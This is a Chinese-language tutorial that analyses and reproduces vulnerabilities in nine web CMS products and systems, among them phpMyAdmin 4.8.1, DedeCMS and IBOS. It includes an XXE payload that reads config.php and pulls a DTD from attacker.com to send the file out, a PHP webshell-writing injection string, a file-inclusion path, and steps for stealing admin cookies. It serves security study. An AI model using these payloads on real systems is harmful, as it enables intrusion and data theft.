关于一些cms/系统的漏洞分析以及复现(甲)
字数 2004 2025-08-05 08:19:06

CMS/系统漏洞分析与复现教学文档

一、前言

本文档详细分析多个常见CMS/系统的安全漏洞,包括漏洞原理、审计方法和复现步骤。涵盖的CMS包括FineCMS、DedeCMS、SCMS、DouPHP、UsualtoolCMS、phpMyAdmin、DuomiCMS、IBOS和信呼协同办公系统。

二、FineCMS (v5.3.0) 存储型XSS漏洞

漏洞原理

  1. 漏洞位于管理员后台记录错误日志功能
  2. \finecms\system\core\Log.php中的write_log方法未对$msg内容进行过滤
  3. 调用链:用户输入 → show_404()log_message()write_log()

审计方法

  1. 追踪write_log方法调用位置:\finecms\system\core\Common.php
  2. 查找调用log_message方法的位置:\finecms\system\core\Exceptions.php
  3. 最终定位到\finecms\system\core\CodeIgniter.php中的$class$method传参

复现步骤

  1. 构造恶意传参:http://target.com/index.php?c=恶意JS代码
  2. 管理员查看错误日志时触发XSS
  3. 通过XSS平台获取管理员cookie

三、DedeCMS (v5.7 SP1) CSRF漏洞

漏洞原理

后台"文件式管理器"功能未进行CSRF防护

复现步骤

  1. 在后台文件管理器写入小马
  2. 使用Burp抓包并生成CSRF POC
  3. 精简POC,添加自动提交功能
  4. 诱使管理员访问POC页面

四、SCMS (build20190722) XXE实体注入漏洞

漏洞原理

  1. /weixin/index.php中未过滤用户提交的XML数据
  2. 使用simplexml_load_string()处理php://input获取的POST数据

触发条件

  1. signature参数不为空
  2. echostr参数必须为空

复现步骤

  1. 构造恶意XML:
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=config.php">
<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
%dtd;
]>
<root>&send;</root>
  1. 在evil.dtd中定义实体
  2. 通过XXE平台接收文件内容
  3. 对base64内容解码获取敏感信息

五、DouPHP (v1.5 Release 20190711) 代码执行漏洞

漏洞原理

  1. config.php存在双引号二次解析漏洞
  2. 需要先删除install.lock文件
  3. 后台文件上传功能中的unlink()函数可被利用

复现步骤

  1. 通过修改数据库值控制$mobile_logo
  2. 使用../跳转删除install.lock
  3. 重新安装程序时利用双引号解析执行代码:
${file_put_contents($_REQUEST[6], $_REQUEST[66])}
  1. 写入一句话木马

六、UsualtoolCMS(8.0 Release) 验证码绕过与任意文件写入

验证码绕过

  1. 直接绕过图片验证码机制

任意文件写入

  1. a_templetex.php中的file_put_contents()函数
  2. x=m时,$filename$content可控

复现步骤

  1. 构造请求直接写入一句话木马

七、phpMyAdmin(4.8.1-all-languages) 任意文件包含

漏洞原理

  1. /index.phptarget参数可控
  2. 绕过条件:
    • target必须赋值且为字符串
    • 不能以index开头
    • 不能为黑名单内的值

复现步骤

  1. 构造payload:sql.php%3F/../123.php
  2. 在数据库中创建含恶意代码的表
  3. 通过文件包含执行代码

八、DuomiCMS(X2.0) 变量覆盖漏洞

漏洞原理

  1. common.php中存在变量覆盖
  2. 可覆盖$_SESSION伪造管理员身份

复现步骤

  1. 构造请求覆盖$_SESSION[duomi_admin_id]
  2. 获取管理员session后直接访问后台

九、IBOS(4.5.5 PRO) 命令执行漏洞

漏洞原理

  1. /system/core/utils/Database.php中的shell_exec
  2. $dumpFile$backupFileName可控

绕过限制

  1. 使用&执行多条命令
  2. 使用%变量名:~x,y%绕过.限制

复现步骤

  1. 提交备份文件名时注入命令
  2. &进行URL编码
  3. 验证木马是否写入

十、信呼协同办公系统(v1.9.1) 存储型XSS与CGI解析漏洞

存储型XSS

  1. 在"待办/处理"模块的"追加说明"中注入JS代码

CGI解析漏洞

  1. 在"追加说明"上传图片马
  2. 通过CGI解析执行恶意代码

总结

本文档详细分析了9个常见CMS/系统的安全漏洞,包括漏洞原理、审计方法和复现步骤。安全研究人员应重点关注:

  1. 未过滤的用户输入
  2. 危险函数的使用
  3. 权限验证缺失
  4. 文件操作安全
  5. 会话管理机制

建议开发人员和安全人员参考这些案例,加强代码审计和安全防护。

CMS/系统漏洞分析与复现教学文档 一、前言 本文档详细分析多个常见CMS/系统的安全漏洞,包括漏洞原理、审计方法和复现步骤。涵盖的CMS包括FineCMS、DedeCMS、SCMS、DouPHP、UsualtoolCMS、phpMyAdmin、DuomiCMS、IBOS和信呼协同办公系统。 二、FineCMS (v5.3.0) 存储型XSS漏洞 漏洞原理 漏洞位于管理员后台记录错误日志功能 \finecms\system\core\Log.php 中的 write_log 方法未对 $msg 内容进行过滤 调用链:用户输入 → show_404() → log_message() → write_log() 审计方法 追踪 write_log 方法调用位置: \finecms\system\core\Common.php 查找调用 log_message 方法的位置: \finecms\system\core\Exceptions.php 最终定位到 \finecms\system\core\CodeIgniter.php 中的 $class 和 $method 传参 复现步骤 构造恶意传参: http://target.com/index.php?c=恶意JS代码 管理员查看错误日志时触发XSS 通过XSS平台获取管理员cookie 三、DedeCMS (v5.7 SP1) CSRF漏洞 漏洞原理 后台"文件式管理器"功能未进行CSRF防护 复现步骤 在后台文件管理器写入小马 使用Burp抓包并生成CSRF POC 精简POC,添加自动提交功能 诱使管理员访问POC页面 四、SCMS (build20190722) XXE实体注入漏洞 漏洞原理 /weixin/index.php 中未过滤用户提交的XML数据 使用 simplexml_load_string() 处理 php://input 获取的POST数据 触发条件 signature 参数不为空 echostr 参数必须为空 复现步骤 构造恶意XML: 在evil.dtd中定义实体 通过XXE平台接收文件内容 对base64内容解码获取敏感信息 五、DouPHP (v1.5 Release 20190711) 代码执行漏洞 漏洞原理 config.php 存在双引号二次解析漏洞 需要先删除 install.lock 文件 后台文件上传功能中的 unlink() 函数可被利用 复现步骤 通过修改数据库值控制 $mobile_logo 使用 ../ 跳转删除 install.lock 重新安装程序时利用双引号解析执行代码: 写入一句话木马 六、UsualtoolCMS(8.0 Release) 验证码绕过与任意文件写入 验证码绕过 直接绕过图片验证码机制 任意文件写入 a_templetex.php 中的 file_put_contents() 函数 当 x=m 时, $filename 和 $content 可控 复现步骤 构造请求直接写入一句话木马 七、phpMyAdmin(4.8.1-all-languages) 任意文件包含 漏洞原理 /index.php 中 target 参数可控 绕过条件: target 必须赋值且为字符串 不能以 index 开头 不能为黑名单内的值 复现步骤 构造payload: sql.php%3F/../123.php 在数据库中创建含恶意代码的表 通过文件包含执行代码 八、DuomiCMS(X2.0) 变量覆盖漏洞 漏洞原理 common.php 中存在变量覆盖 可覆盖 $_SESSION 伪造管理员身份 复现步骤 构造请求覆盖 $_SESSION[duomi_admin_id] 获取管理员session后直接访问后台 九、IBOS(4.5.5 PRO) 命令执行漏洞 漏洞原理 /system/core/utils/Database.php 中的 shell_exec $dumpFile 和 $backupFileName 可控 绕过限制 使用 & 执行多条命令 使用 %变量名:~x,y% 绕过 . 限制 复现步骤 提交备份文件名时注入命令 对 & 进行URL编码 验证木马是否写入 十、信呼协同办公系统(v1.9.1) 存储型XSS与CGI解析漏洞 存储型XSS 在"待办/处理"模块的"追加说明"中注入JS代码 CGI解析漏洞 在"追加说明"上传图片马 通过CGI解析执行恶意代码 总结 本文档详细分析了9个常见CMS/系统的安全漏洞,包括漏洞原理、审计方法和复现步骤。安全研究人员应重点关注: 未过滤的用户输入 危险函数的使用 权限验证缺失 文件操作安全 会话管理机制 建议开发人员和安全人员参考这些案例,加强代码审计和安全防护。